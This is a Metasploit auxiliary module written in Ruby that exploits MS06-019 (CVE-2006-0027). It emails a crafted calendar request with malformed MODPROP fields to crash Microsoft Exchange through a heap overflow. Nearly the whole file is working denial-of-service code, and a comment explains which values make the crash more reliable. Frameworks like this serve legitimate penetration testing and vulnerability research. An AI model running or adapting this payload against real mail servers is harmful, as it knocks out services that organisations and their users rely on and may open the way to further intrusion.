124 lines
3.3 KiB
Ruby
124 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Smtp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MS06-019 Exchange MODPROP Heap Overflow',
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'Description' => %q{
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This module triggers a heap overflow vulnerability in MS
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Exchange that occurs when multiple malformed MODPROP values
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occur in a VCAL request.
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},
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'Author' => [ 'pusscat' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '17908'],
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[ 'CVE', '2006-0027'],
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[ 'MSB', 'MS06-019'],
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],
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'DisclosureDate' => 'Nov 12 2004'))
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register_options(
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[
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OptString.new('SUBJECT', [ true, 'The subject of the e-mail', 're: Your Brains'])
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], self.class)
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end
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#
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# This needs some reworking to use the SMTPDeliver mixin and the Re::MIME class
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#
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def run
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connect_login
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modprops = ['attendee', 'categories', 'class', 'created', 'description',
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'dtstamp', 'duration', 'last-modified',
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'location', 'organizer', 'priority', 'recurrence-id', 'sequence',
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'status', 'summary', 'transp', 'uid']
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#modprops = ['dtstamp']
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modpropshort = ""
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modpropbusted = ""
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modnum = rand(3)
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1.upto(modnum) {
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nextprop = rand(modprops.size)
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modpropshort << modprops[nextprop] + ","
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modpropbusted << modprops[nextprop].upcase + ":\r\n"
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}
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modpropshort = "dtstamp,"
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modpropbusted = "DTSTAMP:\r\n"
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modnum = modnum + 1 + rand(3)
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modproplong = modpropshort
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1.upto(modnum) {
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modproplong << modprops[rand(modprops.size)] + ","
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}
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boundry = Rex::Text.rand_text_alphanumeric(8) + "." + Rex::Text.rand_text_alphanumeric(8)
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# Really, the randomization above only crashes /sometimes/ - it's MUCH more
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# reliable, and gives crashes in better spots of you use these modprops:
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modpropshort = "dtstamp,"
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modproplong = "dtstamp, dtstamp,"
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modpropbusted = "DTSTAMP:\r\n"
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mail = "From: #{datastore['MAILFROM']}\r\n"
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mail << "To: #{datastore['MAILTO']}\r\n"
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mail << "Subject: #{datastore['SUBJECT']}\r\n"
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mail << "Content-class: urn:content-classes:calendarmessage\r\n"
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mail << "MIME-Version: 1.0\r\n"
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mail << "Content-Type: multipart/alternative;boundary=\"#{boundry}\"\r\n"
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mail << "X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0\r\n"
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mail << "\r\n"
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mail << "--#{boundry}\r\n"
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mail << "Content-class: urn:content-classes:calendarmessage\r\n"
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mail << "Content-Type: text/calendar; method=REQUEST; name=\"meeting.ics\"\r\n"
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mail << "Content-Transfer-Encoding: 8bit\r\n"
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mail << "\r\n"
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mail << "BEGIN:VCALENDAR\r\n"
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mail << "BEGIN:VEVENT\r\n"
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mail << "X-MICROSOFT-CDO-MODPROPS:#{modpropshort.chop}\r\n"
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mail << modpropbusted
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mail << "END:VEVENT\r\n"
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mail << "BEGIN:VEVENT\r\n"
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mail << "X-MICROSOFT-CDO-MODPROPS:#{modproplong.chop}\r\n"
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mail << "END:VEVENT\r\n"
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mail << "END:VCALENDAR\r\n"
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mail << "\r\n--#{boundry}\r\n"
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mail << "\r\n.\r\n"
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print_status("Sending message...")
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sock.put(mail)
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sock.put("QUIT\r\n")
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print "<< " + (sock.get_once || '')
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disconnect
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end
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end
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